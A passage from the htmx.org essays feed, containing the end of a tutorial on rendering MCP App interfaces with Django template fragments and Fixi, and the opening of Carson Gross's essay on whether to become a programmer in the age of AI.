&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;else&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;        initial_occurrences = []
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    template_context = {&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;user&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: user, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;workout_dsl&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: workout_dsl, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;events&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: initial_events,
&lt;&#x2F;span&gt;&lt;span&gt;                        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;occurrences&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: initial_occurrences}
&lt;&#x2F;span&gt;&lt;span&gt;    rendered_html = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;render_to_string&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;mcp&#x2F;user_ui_resource.html#main-contents&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, template_context)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;CallToolResult&lt;&#x2F;span&gt;&lt;span&gt;(
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;content&lt;&#x2F;span&gt;&lt;span&gt;=[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;TextContent&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;type&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;text&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;text&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;UI ready&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)],
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;structuredContent&lt;&#x2F;span&gt;&lt;span&gt;={&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;html&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: rendered_html}
&lt;&#x2F;span&gt;&lt;span&gt;    )
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Args for &lt;code&gt;show_user_ui&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ctx&lt;&#x2F;code&gt;: object will allow us to authenticate our users, and is passed to our tool by the LLM host.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;workout_dsl&lt;&#x2F;code&gt;: AI will generate and pass this parameter. We will render our HTML with this data stored in
&lt;code&gt;&amp;lt;input type=&quot;hidden&quot;&amp;gt;&lt;&#x2F;code&gt; and save it later.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Return values from &lt;code&gt;show_user_ui&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;content: An array of text or other data to show the User&#x2F;LLM&lt;&#x2F;li&gt;
&lt;li&gt;structuredContent: Rendered hypertext&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;MCP’s &lt;code&gt;ontoolresult&lt;&#x2F;code&gt; handler will insert &lt;code&gt;structuredContent.html&lt;&#x2F;code&gt; into &lt;code&gt;&amp;lt;body&amp;gt;&lt;&#x2F;code&gt; tag to render our initial UI.&lt;&#x2F;p&gt;
&lt;p&gt;Note that this &lt;code&gt;innerHTML&lt;&#x2F;code&gt; assignment is reasonably safe in our context. The only untrusted input here is AI generated
&lt;code&gt;workout_dsl&lt;&#x2F;code&gt;, and we run validation on it before rendering our template.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;lifecycle-3-rendering-hypermedia-fragments&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#lifecycle-3-rendering-hypermedia-fragments&quot; aria-label=&quot;Anchor link for: lifecycle-3-rendering-hypermedia-fragments&quot;&gt;Lifecycle 3: Rendering Hypermedia Fragments&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;Now we have a full &lt;code&gt;&amp;lt;form&amp;gt;&lt;&#x2F;code&gt; with two &lt;code&gt;&amp;lt;select&amp;gt;&lt;&#x2F;code&gt; controls. How do we add interactivity for our event occurrence
selectors?
Every time the user changes &lt;code&gt;#event-selector&lt;&#x2F;code&gt; option, we should update our options shown in &lt;code&gt;#occurrence-fragment&lt;&#x2F;code&gt; with
a new tool.
We need to use template fragments to fetch occurrence options for different events without triggering another UI render.&lt;&#x2F;p&gt;
&lt;p&gt;Let’s first examine how Fixi will trigger a fragment request. Scroll back above and read &lt;code&gt;#event-selector&lt;&#x2F;code&gt; defined in
&lt;code&gt;#main-contents&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;We see these Fixi attributes:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;fx-action: Calls &lt;code&gt;render_occurrences_fragment&lt;&#x2F;code&gt; MCP tool. Fixi will bind &lt;code&gt;fx-action&lt;&#x2F;code&gt; to appropriate default events,
such as &lt;code&gt;change&lt;&#x2F;code&gt; for &lt;code&gt;&amp;lt;select&amp;gt;&lt;&#x2F;code&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;fx-target: Insert &lt;code&gt;render_occurrences_fragment&lt;&#x2F;code&gt; tool’s HTML output in the &lt;code&gt;#occurrence-fragment&lt;&#x2F;code&gt; div&lt;&#x2F;li&gt;
&lt;li&gt;fx-swap: Use &lt;code&gt;outerHTML&lt;&#x2F;code&gt; swap on &lt;code&gt;#occurrence-fragment&lt;&#x2F;code&gt;, which replaces this div instead of inserting contents.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Below shows occurrence HTML fragment rendering &lt;code&gt;occurrence-fragment&lt;&#x2F;code&gt; Django template partial. This tool’s output will
replace &lt;code&gt;#occurrence-fragment&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;events.models &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;Occurrences
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;@mcp.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;tool&lt;&#x2F;span&gt;&lt;span&gt;(
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;render_occurrences_fragment&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;description&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;Fetches event occurrences available to the logged in user&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;meta&lt;&#x2F;span&gt;&lt;span&gt;={&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;ui&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: {&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;visibility&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: [&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;app&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;]}}
&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;async def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#61afef;&quot;&gt;render_occurrences_fragment&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;ctx&lt;&#x2F;span&gt;&lt;span&gt;: Context, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;event_id&lt;&#x2F;span&gt;&lt;span&gt;) -&amp;gt; CallToolResult:
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;...
&lt;&#x2F;span&gt;&lt;span&gt;    validate
&lt;&#x2F;span&gt;&lt;span&gt;    event_id &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;and &lt;&#x2F;span&gt;&lt;span&gt;authenticate
&lt;&#x2F;span&gt;&lt;span&gt;    user&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;...
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    occurrences_qs = Occurrences.objects.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;select_related&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;event&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;filter&lt;&#x2F;span&gt;&lt;span&gt;(
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;event_id&lt;&#x2F;span&gt;&lt;span&gt;=event_id
&lt;&#x2F;span&gt;&lt;span&gt;    ).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;order_by&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;start_date&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    occurrences = [occ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;async for &lt;&#x2F;span&gt;&lt;span&gt;occ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span&gt;occurrences_qs.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;aiterator&lt;&#x2F;span&gt;&lt;span&gt;()]
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    rendered_html = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;render_to_string&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;mcp&#x2F;user_ui_resource.html#occurrence-fragment&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, {&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;occurrences&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: occurrences})
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;CallToolResult&lt;&#x2F;span&gt;&lt;span&gt;(
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;text&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;Here are this user&amp;#39;s event occurrences&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;structuredContent&lt;&#x2F;span&gt;&lt;span&gt;={&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;html&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: rendered_html}
&lt;&#x2F;span&gt;&lt;span&gt;    )
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;It does not make sense for LLM to fetch this HTML fragment by itself, so we can set
&lt;code&gt;meta={&quot;ui&quot;: {&quot;visibility&quot;: [&quot;app&quot;]}}&lt;&#x2F;code&gt; registration parameter to prevent unnecessary tool calling.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Finally, let’s submit this form. This action is triggered by &lt;code&gt;&amp;lt;button&amp;gt;&lt;&#x2F;code&gt;, and all of the &lt;code&gt;&amp;lt;form&amp;gt;&lt;&#x2F;code&gt; fields will be sent to
&lt;code&gt;save_form_fragment&lt;&#x2F;code&gt; as function args.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;workouts.models &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;Workout
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;events.models &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;Events, Occurrences
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;@mcp.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;tool&lt;&#x2F;span&gt;&lt;span&gt;(
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;save_form_fragment&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;description&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;Saves workout&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;meta&lt;&#x2F;span&gt;&lt;span&gt;={&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;ui&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: {&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;visibility&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: [&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;app&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;]}}
&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;async def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#61afef;&quot;&gt;save_form_fragment&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;ctx&lt;&#x2F;span&gt;&lt;span&gt;: Context, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;workout_dsl&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;event_id&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;occurrence_id&lt;&#x2F;span&gt;&lt;span&gt;) -&amp;gt; CallToolResult:
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;...
&lt;&#x2F;span&gt;&lt;span&gt;    validate
&lt;&#x2F;span&gt;&lt;span&gt;    args &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;and &lt;&#x2F;span&gt;&lt;span&gt;authenticate
&lt;&#x2F;span&gt;&lt;span&gt;    user&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;...
&lt;&#x2F;span&gt;&lt;span&gt;    occurrence = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;await &lt;&#x2F;span&gt;&lt;span&gt;Occurrences.objects.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;select_related&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;event&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;aget&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;id&lt;&#x2F;span&gt;&lt;span&gt;=occurrence_id, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;event_id&lt;&#x2F;span&gt;&lt;span&gt;=event_id)
&lt;&#x2F;span&gt;&lt;span&gt;    workout = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;await &lt;&#x2F;span&gt;&lt;span&gt;Workout.objects.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;acreate&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;occurrence&lt;&#x2F;span&gt;&lt;span&gt;=occurrence, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;workout_dsl&lt;&#x2F;span&gt;&lt;span&gt;=workout_dsl)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#848da1;&quot;&gt;# Render the events fragment
&lt;&#x2F;span&gt;&lt;span&gt;    rendered_html = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;render_to_string&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;mcp&#x2F;user_ui_resource.html#save-form-fragment&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, {&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;workout&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: workout})
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;CallToolResult&lt;&#x2F;span&gt;&lt;span&gt;(
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;text&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;Workout saved&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;structuredContent&lt;&#x2F;span&gt;&lt;span&gt;={&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;html&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: rendered_html}
&lt;&#x2F;span&gt;&lt;span&gt;    )
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The submit indicator is defined by configuring Fixi event &lt;code&gt;fx:init&lt;&#x2F;code&gt; to add &lt;code&gt;.fixi-request-in-flight&lt;&#x2F;code&gt; class to
&lt;code&gt;#indicator&lt;&#x2F;code&gt; SVG inside our submit button if it has &lt;code&gt;ext-fx-indicator&lt;&#x2F;code&gt; attribute.
After this, the interaction cycle is finished. If the user wants to make modifications, she can ask the AI to render a
new UI or visit the website to make quick changes.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;demo&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#demo&quot; aria-label=&quot;Anchor link for: demo&quot;&gt;Demo&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Here is a demo of this application in action:&lt;&#x2F;p&gt;
&lt;img src=&quot;&#x2F;img&#x2F;mcp_hypermedia_example.gif&quot; width=&quot;100%&quot;&#x2F;&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#conclusion&quot; aria-label=&quot;Anchor link for: conclusion&quot;&gt;Conclusion&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;I hope to have demonstrated a simple way to develop user interfaces that work well with AI.
MCP Apps introduce a new rendering environment, but hypermedia systems continue to work well in this context with some
modifications.&lt;&#x2F;p&gt;
&lt;p&gt;This is worth emphasizing because the current zeitgeist when building with AI is to reach for a client-side framework.
But the constraints of MCP Apps actually push in the opposite direction. Your &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;&#x2F;code&gt; cannot talk directly to your
server and every interaction must cross the bridge.
The less state and logic you pack into the client, the less surface area you have for things to go wrong across that
boundary.&lt;&#x2F;p&gt;
&lt;p&gt;Throughout my design process, I tried to channel Nintendo’s Gunpei Yokoi: What can we do with old-fashioned technology
using lateral thinking?
I was able to sidestep complex drag-and-drop form builders by combining a small DSL with AI and hypermedia.
Integrating MCP Apps solved the friction of coaxing the AI to select the right inputs, and using hypermedia made the
entire system almost trivially simple: forms, selectors, fragment updates, loading indicators.
Simplicity does not guarantee success, but I think that it will give me a better fighting chance.&lt;&#x2F;p&gt;
&lt;p&gt;Special thanks to Carson Gross for creating Fixi, HTMX, and Hyperscript, and for encouraging me to write this post.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Yes, and...</title>
        <published>2026-02-27T00:00:00+00:00</published>
        <updated>2026-02-27T00:00:00+00:00</updated>
        
        <author>
          <name>
            Carson Gross
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/yes-and/"/>
        <id>https://htmx.org/essays/yes-and/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/yes-and/">&lt;p&gt;I teach computer science at &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cs.montana.edu&quot;&gt;Montana State University&lt;&#x2F;a&gt;.  I am the father of three sons who
all know I am a computer programmer and one of whom, at least, has expressed interest in the field.  I love computer
programming and try to communicate that love to my sons, the students in my classes and anyone else who will listen.&lt;&#x2F;p&gt;
&lt;p&gt;A question I am increasingly getting from relatives, friends and students is:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Given AI, should I still consider becoming a computer programmer?&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;My response to this is: “Yes, and…”&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yes&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#yes&quot; aria-label=&quot;Anchor link for: yes&quot;&gt;“Yes”&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Computer programming is, fundamentally, about two things:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Problem-solving using computers&lt;&#x2F;li&gt;
&lt;li&gt;Learning to control complexity while solving these problems&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;I have a hard time imagining a future where knowing how to solve problems with computers and how to control the complexity
of those solutions is &lt;em&gt;less&lt;&#x2F;em&gt; valuable than it is today, so I think it will continue to be a viable career even with the
advent of AI tools.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;you-have-to-write-the-code&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#you-have-to-write-the-code&quot; aria-label=&quot;Anchor link for: you-have-to-write-the-code&quot;&gt;“You have to write the code”&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;That being said, I view AI as very dangerous for junior programmers because it &lt;em&gt;is&lt;&#x2F;em&gt; able to effectively generate code for
many problems.  If a junior programmer does not learn to write code and simply generates it, they are robbing
themselves of the opportunity to develop the visceral understanding of code that comes with being down in the trenches.&lt;&#x2F;p&gt;
&lt;p&gt;Because of this, I warn my students:&lt;&#x2F;p&gt;
&lt;p&gt;“Yes, AI can generate the code for this assignment. Don’t let it. You &lt;em&gt;have&lt;&#x2F;em&gt; to write the code.”&lt;&#x2F;p&gt;
&lt;p&gt;I explain that, if they don’t write the code, they will not be able to effectively &lt;em&gt;read&lt;&#x2F;em&gt; the code.  The ability to
read code is certainly going to be valuable, maybe &lt;em&gt;more&lt;&#x2F;em&gt; valuable, in an AI-based coding future.&lt;&#x2F;p&gt;
&lt;p&gt;If you can’t read the code you are going to fall into &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=m-W8vUXRfxU&quot;&gt;The Sorcerer’s Apprentice Trap&lt;&#x2F;a&gt;,
creating systems &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=GFiWEjCedzY&quot;&gt;you don’t understand and can’t control&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;is-coding-prompting-like-assembly-high-level-coding&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#is-coding-prompting-like-assembly-high-level-coding&quot; aria-label=&quot;Anchor link for: is-coding-prompting-like-assembly-high-level-coding&quot;&gt;Is Coding → Prompting like Assembly → High Level Coding?&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Some people say that the move from high level languages to AI-generated code is like the move from assembly to
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;High-level_programming_language&quot;&gt;high level programming languages&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;I do not agree with this simile.&lt;&#x2F;p&gt;
&lt;p&gt;Compilers are, for the most part, deterministic in a way that current AI tools are not.  Given a high-level programming
language construct such as a for loop or if statement, you can, with reasonable certainty, say what the generated
assembly will look like for a given computer architecture (at least pre-optimization).&lt;&#x2F;p&gt;
&lt;p&gt;The same cannot be said for an LLM-based solution to a particular prompt.&lt;&#x2F;p&gt;
&lt;p&gt;High level programming languages are a &lt;em&gt;very good&lt;&#x2F;em&gt; way to create highly specified solutions to problems
using computers with a minimum of text in a way that assembly was not.  They eliminated a lot of
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;No_Silver_Bullet&quot;&gt;accidental complexity&lt;&#x2F;a&gt;, leaving (assuming the code was written
reasonably well) mostly necessary complexity.&lt;&#x2F;p&gt;
&lt;p&gt;LLM generated code, on the other hand, often does not eliminate accidental complexity and, in fact, can add
significant accidental complexity by choosing inappropriate approaches to problems, taking shortcuts, etc.&lt;&#x2F;p&gt;
&lt;p&gt;If you can’t read the code, how can you tell?&lt;&#x2F;p&gt;
